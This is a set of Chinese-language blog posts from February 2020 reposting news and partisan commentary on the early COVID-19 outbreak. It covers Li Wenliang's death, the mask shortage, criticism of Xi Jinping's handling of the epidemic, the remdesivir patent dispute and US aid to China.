另一方面，泰国一家医院为三名新冠病毒重症患者，使用了抗流感药物“奥司他韦”（Oseltamivir）和抗艾滋病药物“洛皮纳韦”与“里托纳韦”（Lopinavir；Ritonavir ）混合的“鸡尾酒疗法”。该医院院长透露，其中一名患者，一名71岁的妇女，在服用“鸡尾酒”药物48小时后，显示出好转的迹象。

另据《财富》杂志报道，除吉利德制药公司以外，包括强生和因奥维亚等一些知名生物制药公司，都已经加入了研发对抗新冠病毒药物的行列。参加研发的休斯顿贝勒医学院全国热带医学院院长彼得·霍特斯说，他们的一种萨斯病疫苗，或许能够预防新冠状病毒株；因为其基因组与导致萨斯病的病毒基因组，有着惊人的相似性。

2020-02-06 / by davidhorgan479 / in 新闻, 疫苗

曝光武汉疫情八勇士之一：良心医生李文亮去世

据陆媒报导得知，率先在网络社群中曝光武汉华南海鲜市场爆发疫情消息而受到警方训诫的良心医生李文亮，因感染了新型冠状病毒肺炎于2月6日晚间去世，年仅34岁。

李文亮是最早在网络社群中爆料华南水果海鲜市场确诊了7例疑似SARS病例消息的8 勇士之一。他于2019年12月30日下午在同学群里披露了华南水果海鲜市场爆发冠状病毒感染疫情后，于2020年1月1日被武汉警方传唤。两天后，李文亮收到警方的训诫书，警方认定“华南水果海鲜市场确诊了7例SARS”的言论，不属实。

1月12日，李文亮因发烧、咳嗽在武汉中心医院呼吸与重症医学科监护室接受隔离治疗。

1月下旬，已经身在重症监护室中接受治疗的李文亮接受了中国大陆新媒体“北青深一度”的采访，他讲述了自己被感染患病的情况：李文亮披露，他在1月7、8号的时候收治了一名新型冠状病毒肺炎疑似病例。患者病人住院的第二天接受了肺部CT和呼吸道病毒、支原体、衣原体检测，显示病人的肺部出现磨玻璃样病变，符合新型冠状病毒感染的肺炎表现，但当时医院方面却不让做核酸检测确诊。

他说：“当时的确诊病例都是通过核酸确诊的。如果不做检测，就无法确诊，那感染人数的数字看起来就不大。当时专家组的人说他们无法决定做不做检测。”

李文亮收治的那名疑似感染病例的病人家属，在病人发热当晚也发烧了，而李文亮自己也于1月10日开始咳嗽，11日开始发烧，当天做了CT，显示双肺多发感染，同样出现了肺部磨玻璃样病变。经过一段时间自我隔离后，于12日下午住进科室病房，14日转到呼吸科隔离病房，但一直被拖延到1月24号才做了核酸检测，直到2月1日才确诊为新型冠状病毒肺炎。

此时距离李文亮进入重症医学科监护室接受隔离治疗已过去整整20天。在快速检测试剂早已开始运用的当下，为何李文亮的病症检测确诊还是拖延了这么长的时间，这个问题没有人作出解释。外界有声音质疑，李文亮是否因为曝光了部分疫情真相而遭到报复，病情的确诊才会一再被拖延。

2020-02-06 / by davidhorgan479 / in 新闻

「口罩荒」加大产量相互扣留可老百姓还是买不到！？

由于中国武汉新型冠状病毒（2019-nCoV，下称武汉肺炎）疫情不断蔓延，不少国家和地区出现民众大量购买口罩的情况，中国大陆各地更有医疗前线出现口罩等防疫物资缺乏的状况。近日，因「口罩荒」引发的事件也颇多，大陆多个省市「相互扣留」对方物资，四川加大生产力度…但仍有网友质疑，为什么普通老百姓还是买不到口罩呢？

现在四川已出台10条措施，其中广安市新引进2条口罩生产线，号称「3天投（入）产（能）」，巴中市则号称「96小时」让停产10年的口罩产线恢复生产。据当局和中媒称，这批口罩目标主要「提供给医疗前线」。除此之外，成都市青白江区则有号称7日建成消毒液产线，「日产30吨消毒液」。令人不解的是，即使当局如此加大力度生产口罩，普通市民依然买不到口罩。

近日不少网民还在微博贴出官方公文，爆料大理市官方到处拦截各市口罩，不仅重庆，连重灾区湖北省黄石市向云南采购的口罩，也被大理扣留。各市对此也紧急发出公文索讨口罩，在压力之下，大理今日终于对扣留口罩一事道歉。

不过大理拦口罩一事才刚落幕，又爆出青岛、沈阳互相扣留物资。青岛政府日前对当地海关发出公文，表示从韩国采购的10万片口罩已被沈阳扣留，另外还有15万片先前从日本进口的口罩，也在沈阳海关的「辐射范围」，担心遭到扣留。该公文表示，目前获知沈阳市也有一批从韩国采购的口罩即将入境，要求海关按照「对等原则」暂时扣留该物资，言下之意就是要「相互扣留」对方物资。

由于中国武汉新型冠状病毒（2019-nCoV，下称武汉肺炎）疫情不断蔓延，不少国家和地区出现民众大量购买口罩的情况，中国大陆各地更有医疗前线出现口罩等防疫物资缺乏的状况。

近日，因「口罩荒」引发的事件也颇多，大陆多个省市「相互扣留」对方物资，四川加大生产力度…但仍有网友质疑，为什么普通老百姓还是买不到口罩呢？

另外，韩国总统文在寅先前决定捐给中国200万副口罩、10万件防护衣和10万副护目镜，却被厂商爆料中方拒绝出口制作口罩的原料，每日口罩产能恐严重供不应求，韩国网友因此把文在寅狠骂。

对此，中国网友在央视微博下幽幽叹息，指「有人拼命生产口罩，有人无私捐赠口罩，有人偷偷私藏口罩，还有人无理夺取口罩」、「感觉全世界的口罩都送给武汉和湖北了，但他们还是说不够，同时我们普通人连买口罩的机会也没有」。

也有人叹，「我买的口罩都说被政府征用了，问题是我买的也就是普通口罩而已，马上要复工了，我们这儿没口罩车都不给搭，能不能给我们普通人点活路呀。」

据中国国家发改委社会发展司副司长郝福庆表示，据统计，截至2月3日，全中国22个重点省份口罩产量达到1480万个。

2020-02-06 / by beibei / in 其它, 新闻

中共当局竭力回避和封杀的话题：习近平要为当今中国所陷入危机承担什么责任？

据中国国家卫生健康委员会公告，截至2月5日0时，“收到31个省（自治区、直辖市）和新疆生产建设兵团累计报告确诊病例24324例（海南省核减1例），现有重症病例3219例，累计死亡病例490例，累计治愈出院病例892例（海南省、湖北省各核减1例），现有疑似病例23260例。”

实际上大量的中国网民通过各种方式报告说，中国官方发表的正式统计数字大大缩水。许多医院迟迟不给症状明显的病人做出诊断，直到病人死亡也没有诊断；病人死亡之后当局便命令死者遗体迅速火化，不进行死因核查，由此而来的死亡便算作普通肺炎死亡。人们通过视频不断看到有病人得不到救治死在医院的走廊上，街道上，死在家里。

中共官方从一开始的疫情可控、“病毒不会人传人”到现在全面失控，与以习近平为首的中国共产党当局的严密信息封锁、误导性宣传和舆论打压密切相关。

武汉肺炎疫情在2019年12月上旬就已经呈现明显的兆头，但习近平当局指挥下的武汉当局以打击谣言的名义大张旗鼓地追究8个通过互联网私下谈论疫情、相互提醒家人和亲友不要中招的医生。当局的这种做法导致全中国的医务人员人人自危，不敢碰触肺炎疫情话题，甚至在朋友圈内也不敢碰触这一话题。。

一些中国公众感到愤怒的是，武汉当局和中共中央当局并不是因为不了解情况而对那些医生进行了打压。中国当局承认一开始就一直掌握着疫情发展的信息。2月3日，中国外交部发言人华春莹称，在疫情发展过程中，中国一直与世界卫生组织和美国保持着沟通，并且“从1月3日起，共30次向美国通报疫情信息和防控措施。”

中国外交部发言人华春莹的这番话引起中国民间舆论哗然。人们纷纷谴责中共当局向国际组织和外国通报疫情，却对中国公众实行疫情信息封锁，对透露疫情信息的医务人员进行大张旗鼓的追究打压，同时持续向公众发出疫情可防可控、未见人传人的误导性信息。

中共当局的信息封锁加误导致使成千上万的公众在当局营造的虚假安全感中染上病毒。这种做法最终导致疫情失控，导致当局最终对武汉和湖北十几个城市以及其他一些省份的城市实行封城，断绝市内的和进出城市的公共和私人交通。中国各地当局随后纷纷设置路障，甚至对疑似感染者实行抓捕和封门禁闭的极端措施。

信息封锁导致疫情大爆发的灾难，封城措施导致人道主义灾难。交通断绝导致病人难以去医院就医。

习近平抢功又避责？

分析人士指出，在封锁信息导致疫情失控、封城措施导致病人难以就医的人道灾难、导致各地方出现大量的以防疫为名的侵犯基本人权的非法活动盛行之际，一些中国民众纷纷谴责习近平当局有钱在许多国家动辄撒出几十亿几百亿美元、却对中国的医疗投入十分吝啬，导致众多的患者得不到及时治疗，只能痛苦地死去，导致一线医生缺乏口罩、防护服之类的基本用品、不得不用垃圾袋充当防护之际，习近平接见世界卫生组织总干事所说的一番话在中国公众和网民当中引起热议。

习近平28日在北京人民大会堂会见世卫组织总干事谭德塞时说：（对武汉肺炎疫情）中国政府高度重视， “因为政府的宗旨就是，把人民的生命安全、身体健康放在最高位置上。所以对于这一次的疫情防控工作，我一直是在亲自指挥、亲自部署。”

习近平说这番话究竟是什么意思？中国网民议论纷纷。截至目前，有关的议论大致分为两派。一派认为，这番话展示了习近平是真男儿，在这个时候居然说这种话，显示了他敢作敢当，愿意并敢于承担责任。另一派则认为，其实习近平对谭德塞所说的这番话的意思是，我就是老大，是绝对权威，你们都给我闭嘴，不得妄议中央，我就是中央，就是不容挑战的绝对权威。

担任中共中央总书记的习近平近年来反复强调，当今中国“东西南北中，党政军民学，党是领导一切的”，中国要“一锤定音”，“定于一尊”，一尊就是他本人，中共及其政府各级官员必须服从其指令，必须维护他的绝对权威，否则严惩不贷。

在纽约出版的政论杂志《北京之春》的荣誉主编胡平说，自从2012年接近11月上台以来，喜欢大权独揽的习近平喜欢出风头、喜欢说狠话，但又动辄虎头蛇尾，不喜欢承担责任；在面临当前疫情危机的时候，习还是要竭力揽权却无意担责，习近平会晤谭德塞时说的这番话再度显示了习近平上台以来的一贯作风。

胡平说：“我觉得习近平讲这个话是因为他感受到了外界对他的一种质问。你想，（中国国务院总理）李克强顶着中央疫情领导小组组长的头衔到了武汉，人们自然要问，习近平这么爱当小组长，怎么就把这个小组长让给李克强了呢？揽权的事你就要霸占，担责的事你就推给别人。人家李克强到疫区武汉去了，你怎么还呆在北京稳坐钓鱼台呢？武汉疫情这么严重，你习近平除了说几句假大空的话之外，你还干了些什么呢？他显然是感到有这么种压力。所以，他要出来表白，表功，所以他要说他亲自指挥，亲自部署，而且是‘一直亲自指挥，亲自部署。’”

迄今为止，面对来势汹汹的疫情，习近平一方面发出指令要下级官员“坚守岗位靠前指挥”、一方面他自己却一直回避前线，只是遥控指挥，这种景象不但在中国公众和在海外华人社区当中招致批评者说他只是善于说大话空话，善于逃避危险，也招致西方媒体的好奇和讥笑。

2月4日，英国《卫报》发表报道，大标题是，“既抢功又避责？习近平在与冠状病毒作战的前线缺席”；副标题是，“这位中国领导人在国家危机期间不同寻常地决定遥控指挥已经引发怀疑”。

《卫报》的报道说：“在其政府急忙应对冠状病毒疫情之际，中国国家主席习近平明显地从公众视野中神隐。截至目前，疫情已经造成两万多人染病，400多人丧生。

“习近平最近的公开露面是1月28日。当时他在北京会晤了世界卫生组织总干事，声言他‘亲自指挥’应对疫情。

“然而，习近平似乎在政府与病毒的战斗中不在场。他没有探视医院、医生或病人的照片。在有关官员承认疫情达到危机水平的几天之后，探访疫情中心武汉的是总理李克强。这个周末，武汉出现的庞大车队导致有谣传说他正在前往武汉，但他还没有现身。”

北京时间2月5日，中共权威的宣传机构新华社报道说，“中共中央总书记、国家主席、中央军委主席、中央全面依法治国委员会主任习近平2月5日下午主持召开中央全面依法治国委员会第三次会议并发表重要讲话。他强调，要在党中央集中统一领导下，始终把人民群众生命安全和身体健康放在第一位，从立法、执法、司法、守法各环节发力，全面提高依法防控、依法治理能力，为疫情防控工作提供有力法治保障。”

有观察家指出，新华社的报道还是在展示习近平远距离高喊假大空的口号；另外，新华社在做出这一报道的时候没有图片，也就是说，自1月28以来，在中国陷入疫情危机、危机波及世界许多国家之际，习近平从公众视野中消失，已经连续8天不见踪影。

“亲自指挥、亲自部署” 疫情失控

胡平说，毫无疑问，习近平说他对迄今为止的疫情防控“一直是在亲自指挥、亲自部署”不可避免地导致人们广泛猜想他或许是有意承认自己的责任，因为既然你是亲自指挥，亲自部署，而且是一直亲自指挥、亲自部署，那中国先前没有及时公布疫情，不但没有及时采取有力的防控措施，反而不断进行歌舞升平、天下太平的虚假宣传，结果导致疫情闹到难以收拾的地步，那也就是你习近平的决定，你应当承担责任。

胡平接着说，人们的这种思路是合情合理的，但习近平以及他所掌控下的中共宣传部门显然不是这么想，而是显然在想如何让习近平可以逃脱责任。

他说：“（习近平）他本来就是出于一种很不正常的情绪才说出这种话来。仅仅从语言上讲都很可笑。说领导‘亲自’怎样怎样，这是溜须拍马的下级说的话，哪有上级领导自己这么说的呐。当然，你也可以说，他是要给自己表功，要表明他大权在握，什么事情都在他的掌控之下。但新华社接着就给他改了稿子，改得看不出有这么强的个人控制色彩了，只是说‘统一领导，统一指挥，分类指导’，各地做好疫情防控工作云云。新华社要改他的稿就说明连新华社、连官方他的同僚都认为他这话是讲砸了。所以接下来公然篡改。这是很罕见的事情。”

批评者说，自从上台以来，以惹人非议的方式获得北京清华大学博士学位的习近平不断努力展示他如何有学问，但也不断暴露他的小学基础语文知识有重大缺陷，如将“精湛”错读为“精甚”，将“赡养”错读为“詹养”，将“通商宽农”错读为“通商宽衣”。习近平“亲自”一词的误用则被许多网民认为是他文化水平停在小学初级阶段的又一例证。习近平的“亲自”误用也导致“亲自吃饭”，“亲自睡觉”，“亲自转发”之类的讽刺性说法在中国网民当中不胫而走。

与此同时，在中国官方的《北京晚报》2919年6月8日发表的一篇题为《“亲自”易误用，领导用该词更要慎重，一直以来你用对了吗？》的文章因习近平而受到网民的注意和热议之际，那篇文章在该报网站被删除。

在另外一方面，“亲自”在中共当局控制的中国互联网上显然已经成为敏感词。包含“亲自”一词的网民发言被中国网络舆论管制当局大量封杀。

习近平当局“甩锅”努力受关注

观察家和批评者指出，以习近平为首的中共当局眼下确实是正在全力应对当前的武汉新型冠状病毒疫情，但当局的主要力量是用于尽力控制舆论舆情而不是尽力控制病毒疫情或给感染者提供治疗和照顾。

在当今中国，许多地方许多患者处于病危状态，其家人无论怎样哀痛呼号救治，但当局却不管不问，让患者在家中，在大街上，在医院走廊里自生自灭。但中国任何一个网民在中国任何一个地方就疫情问题发表了什么令当局不高兴的言论，便马上会有一群公安人员上门警告、威胁、抓捕。

然而，观察家们普遍注意到，截至目前，从中国官方媒体到小粉红或五毛党（即中共掌控的伪装为普通网民的民意操控特工）都没有对习近平政权有能力在全世界大撒币让全世界吃惊却没有能力保障一线医务人员的口罩和防护服、没有能力为中国大众提供起码的医疗保障这一现象做出评论，或为当局做辩护。但现在已经有明显迹象显示，习近平当局在试图甩脱官方封锁信息打压舆论酿成灾祸的责任。

在观察家们看来，这种甩脱责任即中国网民所说的甩锅的说辞主要是两种：一种是信息披露不及时是下面的人玩忽职守，无能，懒政，不作为，没有把人民的生命安全放在第一位；再一种是中国的医学研究人员在第一时间把持住病毒样本用于写论文，而不是及时做出报告让有关部门可以在第一时间得到及时的情况通报、做出正确的决策。

1月28日，中国最高人民法院网站发表署名文章，谈有关武汉肺炎疫情的信息封锁导致公众没能及早提高警惕最终造成疫情大扩散的问题。该文批评地方官员“把信息公开认为是自己的一亩三分地”，没有“站在党和国家的视角考虑问题”。

在许多观察家看来，声言法律必须服从中共、坚决不要司法独立的中国最高法院通过其网站发表这篇署名文章，明显地展示了中共最高当局要把锅甩给下面的官员的意图。

此外，在中共严密控制的互联网上，一度盛传的一种传闻说，中国的医学研究人员早就掌握了造成疫情的病毒的关键性信息，但他们却忙于抢先写论文在国际权威医学研究杂志上发表以争名夺利，而不是以公众利益和生命安全为重。这种传闻一度引发中国公众对这样的私自私立的医学研究者的愤怒。

北京之春荣誉主编胡平说，迄今为止的形势发展已经明显显示，中共最高当局试图将锅甩给下级官员、甩给医学研究人员的努力碰壁了。

胡平说：“我想这两种说法都站不住脚。人们都知道，因为正是吸取了2003年应对萨斯的教训，中国说建立起了相应的（疫情及时报告）机制，遇到什么事情，地方官员就没有多少自主的权力了，有什么事情必须直接上报到中央。武汉市长周先旺把这件事情讲得很清楚。”

胡平在这里所谓的“武汉市长周先旺把这件事情讲得很清楚”是指，武汉肺炎疫情在武汉当局明显的隐瞒下不断发展、最终进入大爆发的失控境地，招致公众的强烈谴责。在激烈的批评谴责声中，武汉市长周先旺1月27日在接受中国中央电视台采访时说，武汉和湖北先前之所以没有及时向公众披露疫情实况，是因为没有得到中央的批准，所以不能披露。

与此同时，中国官方后来的多次声明也显示，中国当局早就对疫情有足够的了解，并且向世界卫生组织这样的国际组织和美国等国家进行了几十次的通报，显示了中国不存在医学研究人员将新型冠状病毒疫情信息据为己隐匿不报从而导致中国政府当局不能及时了解疫情实况的问题。

最终的甩锅：艰辛探索？

来自中国的迹象显示，尽管中共当局全力封杀网民有关习近平应当为武汉肺炎疫情失控大爆发承担多少责任的议论，但公众和网民的议论显然令以习近平为首的中共当局感到不安；中共当局仍在努力为习近平开脱。

一些观察家们指出，中共中央机关报《人民日报》旗下的小报《环球时报》总编辑胡锡进1月29日对中国疾病控制中心流行病学首席科学家曾光的采访是明显地为习近平进行辩护。

中国媒体的报道说，曾光在接受采访时表示，公共卫生人员的决策考虑的就是科学性的问题，是一个科学的视角，但政府官员考虑问题并不单纯是科学的视角，这只是他们决策依据的一部分。

曾光说：“他（领导人）要考虑政治视角，考虑维稳的问题，他要考虑经济的问题，他要考虑春节老百姓的天伦之乐，满意不满意的问题。我们（专业人员）说的话往往只是他们决策中采纳的一部分”；曾光认为，不能说政府官员这种视角不对，事情的决策是要多方面考虑的，但在关键问题上要建立一个经验，要更多的采用科学视角。

北京之春荣誉主编胡平说，曾光的这番话很值得玩味；考虑到胡锡进因总是奋不顾身为中共当局的任何倒行逆施做辩护而在中国网民当中获得“叼飞盘”的绰号，考虑到曾光作为一个官方学者的身份，胡锡进采访曾光的这番话显然是为中共辩护，为习近平当局辩护，其辩护的逻辑是中共喜欢说的领导因经验不足而“交学费”或“艰辛探索”。

胡平表示，且不说有多少有自尊并珍惜自己生命的中国人愿意把自己性命拿出来供习近平当“艰辛探索”的试验品，且不说习近平是否与中国公众商讨过他用他们的生命安全来进行试验探索的计划，就算是我们全盘接受曾光的说辞，任何一个愿意讲道理的人也难免会提出质疑。

胡评说：“平心而论，作为国家领导人面临重大问题做任何选择都要冒一定的风险。你如何选择，你愿意冒哪种风险，就显示出了你的基本价值倾向了。而在这个问题上，你看习近平做出的选择就表现出他的内在的、根深蒂固的价值偏好。他显然认为，一般老百姓的生命健康不是那么重要的事情，比起他的政治大局，比起他一心想营造的盛世景象相对是不重要的。他喜欢帝国气派，而春节是这样的大好机会，他一向喜欢大节庆，喜欢辉煌景色，他不愿意错过这样的机会。另外他也肯定想，中国这么大，人这么多，哪年流行病不死点人哪。”

中国国内外许多观察家指出，1月23日，在武汉当局宣布封城几个小时之后，习近平以中共中央总书记和中国国家主席的身份在中共中央和中央政府春节团拜会上发表讲话，只字不提人口上千万的武汉封城，不提武汉疫情，而是大谈中国梦，这种将千百万人的死活忽略不计的梦话已经清楚地显示了武汉疫情在习近平心中的分量。

不过，习近平本人在接见世界卫生组织总干事谭德塞德时候明确而清楚地说：“对于中国人民来说，我们现在正在进行着一场严肃的的斗争。中国政府是高度重视，因为政府的宗旨就是，把人民的生命安全、身体健康放在最高位置上。所以对于这一次的疫情防控工作，我一直是在亲自指挥、亲自部署，我相信，只要我们坚定信心、同舟共济、科学防治、精准施策，我们一定会战胜这一次的疫情。”

问责成超敏感话题

在新型冠状病毒导致的武汉肺炎疫情依然在迅猛扩散之际，当今疫情究竟是天灾还是人祸、坚持当今中国的事情必须是定于一尊、一锤定音的习近平是否应当为一再延误阻止疫情爆发的时机而承担责任乃至罪责，这成为当今中国超敏感的话题，成为中国媒体不得碰触的新闻报道和评论禁区。

中国网民就这个问题发表的意见，其中包括以委婉曲折的措辞提出的意见则不但会被立即删除，而且还会遭到禁言和封号的处罚。直接提出习近平名字予以批评的中国公民则面临被抓捕的高风险。

然而，观察家们说，中国当局显然是知道疫情问责的问题是一个回避不过去的问题，因此当局正在设法应对这一问题，而且其努力的主攻方向显然是向下推卸责任。

据官方媒体新华社星期一（2月3日）报道，中共中央政治局常委会召开会议讨论疫情防控问题，习近平发表讲话称，对失职渎职的官员，要依纪依法惩处。但官方媒体没有说，决定长时间向中国公众隐瞒疫情，导致成千上万的中国人中招染毒、几千万人陷入封城困境导致人道主义灾难、导致至少400多人死亡的官员是否是失职渎职，是否应当承担责任并受惩处。

新华社2月5日的报道引述了习近平在当天的中央全面依法治国委员会会议上的讲话，其中没有他表示要承担责任的内容。习近平在讲话中说，要“加大对暴力伤害医务人员的违法行为打击力度，严厉查处各类哄抬防疫用品和民生商品价格的违法行为，依法严厉打击抗拒疫情防控、暴力伤医、制假售假、造谣传谣等破坏疫情防控的违法犯罪行为…。”

截至目前，以习近平为首的中共当局一直没有回答中国公众反复提出的质问，这就是，当局先前长时间坚持声言新型冠状病毒“疫情可防可控”、“未见明显的人传人”的说法是否是造谣传谣，是否是应当追究的违法犯罪行为。

2020-02-05 / by davidhorgan479 / in 其它

武汉肺炎新药美国研发却被中国抢先注册专利令人瞠目结舌

据报道，美国一位武汉肺炎确诊病患因使用在研药物瑞德西韦病情好转，并且现在已经出院。瑞德西韦为美国药厂研发。但中国科学院武汉病毒研究所4日公布一项研究成果，称中国学者在抗武汉肺炎药物筛选方面取得重要进展，并且已经申请专利。外界质疑武汉病毒研究所这项研究专利，是抢先注册美国药厂吉利德科学公司（Gilead Science）的专利。

国际期刊新英格兰医学杂志NEJM今年1月31日刚有一篇文章发表，提及药物瑞德西韦Remdesivir治疗武汉肺炎有效的个案报告，美国一名新型冠状病毒的病患，使用此药后，健康情况好转。

此药为吉利德科学公司（Gilead Sciences）所研发，原本是用来治疗其他疾病，该公司也发出新闻稿指出，对于治疗新型冠状病毒尚未证实安全或有效，不过针对动物的实验显示，可以对抗中东呼吸症候群（MERS）和严重急性呼吸道症候群（SARS）病毒病原体。

而中国科学院武汉病毒研究所昨天发出新闻稿，宣称中国学者在抑制新型冠状病毒药物筛选方面取得重要进展，研究发现瑞德西韦及另一种药物，能在体外有效抑制病毒，研究所并于上个月21日申报中国发明专利，并将通过PCT（专利合作协定）也就是全球专利提出国际申请。

网路知名医师作家蔡依橙在脸书上批评，这真的令人瞠目结舌，美国文章才刚发表，结果武汉病毒所竟然早在1月21日就把这个药治疗武汉肺炎用途，注册了专利，而且还将通过专利合作协定，延伸进入全球主要国家。

中研院生医所副研究员胡哲铭说明，因为当初吉利德开发此药不是针对新型冠状病毒，所以因应不同疾病可以有不同专利申请，但是如果中国真的申请通过，开发药物本身的吉利德如果要在中国贩售药物，反而还要付专利费用给中国。

石破天驚的大事。早上醒來，我在我訂閱的數十個中國人建立的地方疫情討論區發現了一則訊息，有一個義憤填膺地在說這個手段太髒了。我點進去看了之後覺得，這真的是石破天驚的大事。昨晚，中國科學院武漢病毒研究所（沒錯，就是那個千夫所指被懷疑…

Posted by 遠行的理由 on Tuesday, February 4, 2020

底下有网友解释，指武汉病毒所的文中有说「双方同意暂时不要执行专利的权益」，很多国家在药品专利申请本来就是各国独立，所以才会在很多药物上会同时看到广告有美日德等多国专利等字样，有可能这只是很简单的一个合作协议，因为美国没有足够的病患执行此药品的第三期测试也就是人体测试，必须在中国尽速进行，这在很多药品第三期测试非常常见。

2020-02-05 / by beibei / in 其它, 医疗健康, 医疗药品, 新闻

让我们看看真相打脸“美国没有提供实质帮助”，“散布恐慌”

根据中国官方的消息，截至2月3日9时，中国新型冠状病毒肺炎的确诊病例已达17238例，疑似病例21558例，死亡361例。

截止2月3日，美国已出现至少11例确诊的中国武汉新冠状病毒感染病例。新增的三例都出现在加州。加州是美国华人人口最多的州之一。

星期一中国外交部发言人华春莹在例行新闻发布会上指责美国一直没有在疫情方面给予中国任何实质性援助，反而是持续制造和扩大恐慌。中国驻美大使崔天凯之前更是警告美中两国应该谨防“政治病毒”的存在。美国官员表示，美国面临“前所未有”的威胁，才做出这样的决定。美国愿意派出最好的疾控专家，现在还在等待中国的答复。

美国散布“恐慌”？美流行病专家：美国采取了必要措施

在星期一的例行记者会上，中国外交部发言人华春莹指责美国不提供实质帮助，却带头散布恐慌。她说：“美国政府迄今未向中方提供任何实质性帮助，却第一个从武汉撤出其领馆人员，第一个提出撤出其使馆部分人员，第一个宣布对中国公民入境采取全面限制措施，不断制造和散播恐慌，带了一个很坏的头。”。

星期六驻美大使崔天凯在加州大学圣地亚哥分校举行的“美中关系论坛”说，两国也应警惕妨碍中美携手应对共同挑战的“政治病毒”。他说，可能有些人试图利用当前形势谋取政治或经济利益，甚至推动两国人民“脱钩”。

崔天凯还说，“这样的企图真正可耻，违背人道主义精神，也悖离了两国人民的共同利益。我们应坚决反对。“

美国呼吸疾病中心主任南希·梅索尼尔（Nancy Messonnier）星期一为特朗普政府的旅行限制令做出辩护。她告诉记者说：“我们面临前所未有的威胁，所以做出了积极的决定，现在这个行动有很大的可能阻止这件事（病毒）的蔓延。”

她说，美国将会出现越来越多因密切接触而感染武汉新冠状病毒的病例。这种全球性致命危机具有“爆炸性”，而且“前所未有”，可能演变成一种流行性疾病。

美国田纳西州纳什维尔市范德堡大学健康政策系预防医院教授威廉·施夫纳（William Schaffner）在接受美国之音采访时说，他相信美国以及其他国家政府只是采取了必要的措施，来控制疫情在自己国家的蔓延。

他说： “我在这里援引美国建国之父本杰明·富兰克林的说法，’一盎司的预防胜于一磅的治疗’。现在这个时候，我们知道冠状病毒还在中国蔓延，同时也输出到了包括美国在内的其他国家。每一个国家都在尽其所能尽量限制病毒在这些国家的传播。”

施夫纳解释说，鉴于新型冠状病毒传染性强，又是呼吸道病毒，这意味着全球人口都有可能受到影响。如果不想爆发全球流行病，一个有效的办法就是阻止疫病爆发地区的人口进入自己的国家。一旦进入，必须对他们进行必要的监督和隔离。他说，由于中国国内的大规模强大措施，他希望美国和其他国家的措施是短暂的。施夫纳还强调说，新冠状病毒与几年前流行的“埃博拉”病毒不一样，新冠病毒甚至在没有症状的情况下也能传播，这就使得旅行禁令的实施更加必要。

不过，也有分析人士担心，各国的旅行禁令，可能会妨碍疫情防御的全球合作。有疫情的国家可能会担忧禁令无限期存在，而出现隐瞒疫情的严重性的现象。

美国的措施与北京、上海对待返沪、返沪人员类似

特朗普政府1月31日宣布新型冠状病毒为国家公共卫生紧急事件，并宣布了一系列临时措施，包括对自中国返美的美国公民实行隔离，并禁止近期去过中国的外国公民入境。这项禁令从美东时间2月2日下午5时已经实施。

禁令强调，过去14天去过湖北省的返美美国公民实行最长14天的强制隔离；对过去14天去过中国大陆其它地区的返美美国公民在指定口岸实行严格检查并要求他们在家实行有监控的自我隔离14天。

截止1月31日，根据中国外交部的资料，全球大约62个国家对中国公民实施了入境管理措施。有的国家对中国公民采取签证收紧措施；有的对中国公民采取入境限制措施；有的对护照签发地为“湖北”及有“湖北”旅行经历的人员进行入境管控等。

世卫组织(WHO)的总干事谭德塞星期一（2月3日）表示，没有必要采取不必要的措施来干扰国际旅行和贸易。

值得一提的是，美国的隔离措施与中国北京上海对待返京、返沪人员类似。根据北京市人民政府网站的消息，北京市疾控中心近日制定了新型冠状病毒感染的肺炎流行期间返（来）京人员社区排查工作规范（试行）。根据这个规范，对14天内湖北等疫情高发地区返京来京人员，登记其基本信息和联系方式要求有条件的集中医学观察或严格居家观察14天；对其他区域进京人员，要求其开展健康监测，自我观察14天，外出佩戴口罩，尽量避免与人近距离接触。

上海是也采取了类似的防控措施。在1月29日的新冠病毒疫情新闻发布会上，上海官员说：“整个防控工作当中非常重要的就是加强来沪人员的健康筛查，特别强化重点人员居家重点隔离观察，这是一道防线。”

美国民间援助和中美医药合作

华春莹在2月3日的记者会上说，中国现在“最急需的是防疫医疗物资，如医用口罩、防护服、护目镜等”。美国多个民间组织已经向中国寄去了这些医疗物资。

1月26日，总部设在加州的非政府组织国际直接援助（Direct Relief）与在美华人组成的志愿者团队武汉加油行动（Wuhan United）一起，通过联邦快递的紧急空运向武汉协和医院和孝感中心医院送去了一批重达2.5吨的应急医疗物资。这些物资包括20万支医用外科口罩、2.75万双医用手套及4000件防护服。目前，这批物资已经抵达目的地。

另据《匹兹堡论坛报》报道，1月27日，与武汉结成姐妹城市的美国宾夕法尼亚州西部城市匹兹堡市的市长佩杜托（Bill Peduto）表示，将为武汉提供医疗物资等援助。第一批物品将以一线医护人员的护具为主，包括口罩、护目镜、隔离衣等。

1月31日，美国制药巨头吉利德（Gilead）发表声明称，已经与中国卫生部门达成协议，在中国展开瑞德西韦在感染新型冠状病毒患者中的临床试验。美国用瑞德西韦治疗了首例新型肺炎患者。吉利德公关部副主任索尼娅·崔（Sonia Choi）在电子邮件中跟美国之音证实，试验将分两场，在武汉进行，大约在2月中旬接纳病人。吉利德公司将无偿向中国提供研究新药，并提供试验的设计和操作办法。

国际直接援助的媒体负责人托尼·莫兰（Tony Morain）向美国之音记者证实了向武汉和湖北投放医疗物资的事件。他还说，还有许多美国的非政府机构和大公司和国际直接援助一样向中国提供了医疗物资。

据美国之音的不完全统计，美国大公司波音（Boeing)、微软(Microsoft)、戴尔(Dell)、嘉吉(Cargill)、3M、UPS等大公司都向中国红十字和湖北省当局提供了医疗物资。另外，美国耶稣基督后期圣徒教会（ The church of Jesus Christ of Latter Day Saints)和比尔及梅琳达·盖茨基金会（The Bill and Melinda Gates Foundation)也向中国提供了援助，其中比尔及梅琳达·盖茨基金会捐出了500万美元给中国。

国际直接援助的莫兰认为，华春莹的讲话可能是针对美国政府。他说，如果政府愿意出面援助，规模将大于民间的援助。

到发稿前为止，美国政府还没有表示要向中国提供医疗物资的援助。不过，美国总统特朗普曾两次在社交媒体上表示美国“愿意提供任何必要的援助”，“ 我们的专家非常优秀”。美国白宫经济顾问也曾表示，美国计划向中国派出“最好的专家”。

美国CDC专家依然等待中国的答复

美国呼吸疾病中心主任梅索尼尔星期一说，美国疾病控制与预防中心的专家依然在等待中国是否愿意让他们与世界卫生组织的专家一起进入中国，评估疫情。

中国卫生部曾经邀请美国卫生与公众服务部加入世界卫生组织专家一行，但是美国“政治家”网站星期一下午报道说，到目前为止，美国疾控中心专家还没有被正式认定也是这个专家小组的一部分。

该网站还说，世界卫生组织的新闻发言人说，国际专家将在这个星期抵达中国，但是没有确认美国疾控中心专家是否在其中。

